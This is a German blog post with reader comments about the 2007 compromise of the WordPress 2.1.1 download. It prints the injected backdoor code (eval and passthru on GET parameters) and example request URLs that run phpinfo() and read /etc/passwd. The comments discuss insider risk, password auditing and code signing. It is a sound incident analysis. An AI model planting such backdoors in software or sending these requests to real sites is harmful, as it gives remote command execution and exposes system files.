Die Aufregung über den Einbruch auf den Servern des WordPress-Projekts und die eingebaute Hintertür in WordPress 2.1.1 hat sich nun etwas gelegt und die gebetsmühlenartigen Updaterufe verhallen langsam. Jetzt ist also Zeit einen Blick auf den schadhaften Code zu werfen, der in der besagten kompromittierten Version von WordPress 2.1.1 gefunden wurde. Es waren
die PHP-Dateien feed.php und theme.php betroffen, die sich beide im Verzeichnis wp-includes befanden.
In wp-includes/feed.php stand:
function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
...
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
In wp-includes/theme.php stand:
function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
Durch beide unspektakulären Codeergänzungen waren über die Variablen ix bzw. iz verschiedene Befehle remote aufrufbar.
Beispiele:
http://BLOGURL/wp-includes/feed.php?ix=phpinfo(); http://BLGOURL/wp-includes/theme.php?iz=cat /etc/passwd
Interessanterweise wurde dieser Code eher durch Zufall am 2. März 2007 von einem kroatischen User gefunden, der dann die Entwickler von WordPress informiert hat. Daraufhin wurde festgestellt, dass nach einem Servereinbruch, wahrscheinlich am 25.Feburar 2007 das dort zum Download angebotene Archiv kompromittiert wurde.
Aus Angreifersicht war das Timing recht gut, da die meisten WordPress-User auf die besagte 2.1.1 updaten wollten, weil die Vorversion Sicherheitslücken enthielt. Es war auch nur Version 2.1.1 betroffen, da der Angreifer wohl davon ausgehen musste, dass die meisten User nur diese Version herunterladen werden.
Einige der Bugs, die bereits in der unkompromittierten 2.1.1 gefunden wurden, gibt es aber teilweise immer noch. Es ist also demächst wieder mit einem Update zu rechnen. 😉
Ich befürchte ja, das dies nur die Spitze eines Eisberges ist, häufig sind bei Opensource Projekten wechselnde Entwickler beteiligt. Wenn in der Anfangszeit ein Member ausscheidet und später in die Spam-Szene wechselt, könnte sein Wissen nützlich sein und er die „Anfangspassworte“ die vom Projektleader vergeben wurden, einfach mal bei den verbliebenen Entwicklerkonten ausprobieren.
Ich habe da so meine Erfahrungen, allerdings aus firmeninternen Entwicklerverhalten. Warum sollte es in öffentlich zugänglichen Umgebungen viel besser sein?
So eine von dir beschriebene Codeänderung wird, wenn sie scheinbar von einem „alten Hasen“ kommt ja bestimmt von anderen Mitentwicklern bemerkt. Dann hätte man ja viel zu tun… Mein Fazit: Mit Rack the ripper o.ä. einfach mal seinen Sourcen Server überprüfen und Anfangspassworte mit in das Wörterbuch integrieren.
Naja, die Probleme sind hier vielschichtig.
a) Serversicherheit
b) User Management
c) Code Authentizität
Maßnahmen für a) und b) kann man in jedem Buch nachlesen.
Zu c) frage ich mich, was aus den guten alten PGP-Signaturen geworden ist, die man früher zusätzlich zum Download angeboten hat, damit man die Authentizität des Codes nachprüfen kann. Ist allerdings außerhalb der Geekworld nicht immer einfach nachvollziehbar. 😉